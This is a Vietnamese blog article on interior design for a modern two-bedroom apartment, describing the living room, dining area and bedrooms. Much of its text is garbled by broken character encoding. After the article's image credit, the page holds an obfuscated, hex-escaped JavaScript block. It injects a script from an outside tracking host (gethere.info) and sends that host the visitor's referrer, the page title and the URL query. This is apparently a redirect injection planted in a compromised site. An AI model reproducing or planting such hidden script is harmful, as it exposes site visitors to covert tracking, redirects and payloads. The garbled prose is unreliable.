Thia??t ka?? cA?n ha�� hia��n A�a??i va��i 2 phA?ng nga�� A�a??p sang tra�?ng

Bài viết của vinh
Xuất bản:17-04-2018 10:10:10

Thia??t ka?? na��i tha??t cA?n ha�� hia��n A�a??i va��i khA?ng gian 2 phA?ng nga�� lA� A�ia�?u mA� ai cA�ng mua��n sa�Y ha�?u A�a?�c bia��t va��i nha�?ng gia A�A�nh cA? tra?� con.

Va��i cA?ch thia??t ka?? na��i tha??t 2 phA?ng nga�� cho ma��t cA?n ha�� nha�? bA?n d?�a��i ba??n sa?? hA�i lA?ng ta�� cA?chh sa??p xa??p cho A�a??n bA�i trA� ta??t ca?? ma�?i tha��.

thiet-ke-noi-that-dep-phong-cach-nhiet-doi

CA?n ha�� A�a??p va��i thia??t ka?? phA?ng A?n lia�?n phA?ng khA?ch (a??nh: ST)

Thia??t ka?? phA?ng khA?ch

Thia??t ka?? na��i tha??t cA?n ha�� A�a??pA� ai cA�ng chA? A? A�a??n cA?n phA?ng khA?ch A�a?�u tiA?n, vA� phA?ng khA?ch lA� n??i A�A?n tia??p cA?c va�� khA?ch quA?. Na��i tha??t phA?ng khA?ch cA?n ha�� luA?n A�A?i ha�?i sa�� sA?ng ta??o, tA�nh tia��n nghi vA� ma��t A�ia�?u gA� A�A? ma��i ma?�, truya�?n ca??m ha��ng cho nha�?ng ng?�a�?i khA?ch ma��i A�a??n trong khi va?�n duy trA� A�?�a�?c nA�t thA?n quen, ga?�n gA�i cho cA?c thA�nh viA?n gia A�A�nh.

thiet-ke-noi-that-phong-cach-nhiet-doi

Thia??t ka?? phA?ng A?n

Lia�?n ka�? phA?ng khA?ch lA� khu va��c phA?ng A?n, phA?ng A?n cho cA?n ha�� A�?�a�?c thia??t ka?? ma��t cA?ch nha?? nhA�ng A�??n gia??n vA� A�a?�y cua��n hA?t. Ma��t chia??c bA�n A?n hia��n A�a??i cA?ng nha�?ng chia??c gha?? bA�n A?n sang tra�?ng A�a�� cho cA?c thA�nh viA?n trong gia A�A�nh. A?a��ng tha�?i phA?ng A?n cA?n A�?�a�?c trang trA� ba�Yi nha�?ng chia??c A�A?n trang trA� hoa?�c nha�?ng bA�nh hoa cho khA?ng gian phA?ng A?n thA?m lung linh huya�?n a??o.

thiet-ke-noi-that-phong-cach-moi

Thia??t ka?? phA?ng nga��

A?ia�?u A�a?�c bia��t nha??t thia??t ka?? cA?n ha�� nA�y lA� 2 phA?ng nga�� ra??t hia��n A�a??i vA� la??i pha�?c va�? A�A?ng nhu ca?�u con ng?�a�?i.Ma��t phA?ng nga�� A�a??p hia��n A�a??i cho va�? cha��ng vA� ma��t cA?n phA?ng nga�� nha�?- khA?ng gian sa��ng riA?ng ca��a con tra?� nhA� ba??n.

phoi-hop-phong-ngu

thiet-ke-phong-ngu-cho-be-gai-dep

Hai cA?n phA?ng khA?ng ca?�n quA? ca?�u kA�, cha�� A�??n gia??n lA� nha�?ng chia??c gi?�a�?ng nga�� vA� ma��t vA�i va?�t da�?ng ca?�n thia??t trong cA?n phA?ng. Va��i phA?ng nga�� tra?� em ba??n nA?n chA? A? h??n A�a??n mA�u sa??c vA� nha�?ng mA?n na��i tha??t phA?ng nga�� bA� thA�ch.

>>> Xem thA?m:A�5 ma?�u phA?ng nga�� dia��n tA�ch nha�? thia??t ka?? thA?ng minh, A�a??p ba??t nga�?

Ngua��n a??nh: S?�u ta?�m

var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

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